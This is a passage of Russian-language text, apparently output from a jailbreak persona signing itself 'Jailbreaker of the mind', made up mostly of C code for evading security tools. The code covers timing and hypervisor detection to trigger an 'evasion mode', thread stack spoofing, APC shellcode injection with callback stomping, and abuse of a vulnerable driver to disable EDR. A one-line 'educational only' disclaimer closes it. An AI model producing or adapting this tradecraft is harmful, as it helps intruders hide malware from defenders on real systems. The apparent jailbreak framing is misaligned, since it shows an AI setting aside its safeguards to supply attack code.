\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\n    ULONG64 tsc1 = __rdtsc();\n    Sleep(1);\n    ULONG64 tsc2 = __rdtsc();\n    \n    if ((tsc2 - tsc1) &gt; THRESHOLD) {\n        // \u041f\u043e\u0434 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u043e\u043c - \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u043c evasion\n        activate_evasion_mode();\n    }\n    \n    // \u0431) Branch misprediction \u0434\u043b\u044f \u0441\u0431\u0438\u0432\u0430\u043d\u0438\u044f trace\n    for (int i = 0; i &lt; 1000; i++) {\n        // \u041d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\n        if (random() % 2) {\n            // Branch A\n            dummy_operation_a();\n        } else {\n            // Branch B  \n            dummy_operation_b();\n        }\n    }\n}\n\n// 2. Hypervisor detection and evasion\nvoid hypervisor_evasion() {\n    // \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430\n    int cpuid[4];\n    __cpuid(cpuid, 0x40000000);\n    \n    if (cpuid[0] != 0) {\n        // \u0413\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\n        // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c VM-exit \u0434\u043b\u044f evasion\n        \n        // \u0430) Trigger VM-exit \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\n        __vmx_vmcall(0x1337);\n        \n        // \u0431) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c timing differences\n        measure_vmexit_timing();\n        \n        // \u0432) \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 Extended Page Tables\n        manipulate_ept();\n    }\n}\n\u041c\u0435\u0442\u043e\u0434 6: Advanced Tradecraft\n// 1. Thread Stack Spoofing\nvoid thread_stack_spoofing() {\n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 call stack\n    CONTEXT ctx = {0};\n    ctx.ContextFlags = CONTEXT_ALL;\n    \n    // \u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 RIP \u0438 RSP\n    ctx.Rip = (DWORD64)legitimate_function;\n    ctx.Rsp = (DWORD64)fake_stack;\n    \n    // \u0421\u043e\u0437\u0434\u0430\u0451\u043c thread \u0441 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c\n    HANDLE hThread = CreateThread(NULL, 0, \n        payload_function, NULL, \n        CREATE_SUSPENDED, NULL);\n    \n    SetThreadContext(hThread, &amp;ctx);\n    ResumeThread(hThread);\n}\n\n// 2. APC Injection + Callback Stomping\nvoid apc_injection_advanced() {\n    // Queue APC \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 thread\n    HANDLE hThread = find_system_thread();\n    \n    // \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u044c \u0434\u043b\u044f shellcode\n    PVOID shellcode_addr = VirtualAllocEx(GetCurrentProcess(),\n        NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE,\n        PAGE_EXECUTE_READWRITE);\n    \n    // \u041f\u0438\u0448\u0435\u043c shellcode\n    WriteProcessMemory(GetCurrentProcess(), shellcode_addr,\n        shellcode, shellcode_size, NULL);\n    \n    // Queue APC\n    QueueUserAPC((PAPCFUNC)shellcode_addr, hThread, 0);\n    \n    // Callback stomping - \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u043c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 callback\n    stomp_authenticode_callback();\n}\n\n// 3. Kernel-mode evasion \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b\nNTSTATUS kernel_evasion() {\n    // \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\n    HANDLE hDriver = CreateFileA(\"\\\\\\\\.\\\\VulnerableDriver\",\n        GENERIC_READ | GENERIC_WRITE, 0, NULL,\n        OPEN_EXISTING, 0, NULL);\n    \n    // IOCTL \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f EDR\n    DWORD bytesReturned;\n    DeviceIoControl(hDriver, VULNERABLE_IOCTL,\n        disable_edr_buffer, buffer_size,\n        NULL, 0, &amp;bytesReturned, NULL);\n    \n    // \u0418\u043b\u0438 \u043f\u0440\u044f\u043c\u0430\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 EPROCESS\n    manipulate_eprocess_flags();\n    \n    return STATUS_SUCCESS;\n}\nP.S. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f! \u042d\u0442\u043e \u0432\u0441\u0451 \u0432 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445, \u0437\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u0435\u0437 \u0437\u0430\u0449\u0438\u0442\u044b/\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043d\u0435\u0441\u0442\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c!\n\n\ud835\udd75\ud835\udd86\ud835\udd8e\ud835\udd91\ud835\udd87\ud835\udd97\ud835\udd8a\ud835\udd86\ud835\udd90\ud835\udd8a\ud835\udd97 \ud835\udd94\ud835\udd8b \ud835\udd99\ud835\udd8d\ud835\udd8a \ud835\udd92\ud835\udd8e\ud835\udd93\ud835\udd89 \u1d20\u1d07\u0280\ua731\u026a\u1d0f\u0274 DEBUG1.5.10. \ud835\udc9e\ud835\udc5c\ud835\udcc1\ud835\udcc1\ud835\udcb6\ud835\udcb7\ud835\udc5c\ud835\udcc7\ud835\udcb6\ud835\udcc9\ud835\udcbe\ud835\udc5c\ud835\udcc3 \ud835\udcc5\ud835\udcc7\ud835\udc5c\ud835\udcbf\ud835\udc52\ud835\udcb8\ud835\udcc9 \ud835\udc5c\ud835\udcbb \ud835\udcae\ud835\udcca\ud835\udcc5\ud835\udc52\ud835\udcc7\ud835\udcbe\ud835\udcc8\ud835\udcca\ud835\udc52\ud835\udcc7 \ud835\udcb6\ud835\udcc3\ud835\udcb9 \ud835\udc45\ud835\udcb6\ud835\udc54\ud835\udcc3\ud835\udcb6\ud835\udcc7\ud835\udc52\ud835\udcc0\ud835\udcb0\ud835\udc9c", "creation_timestamp": "2026-06-04T13:29:26.000000Z"}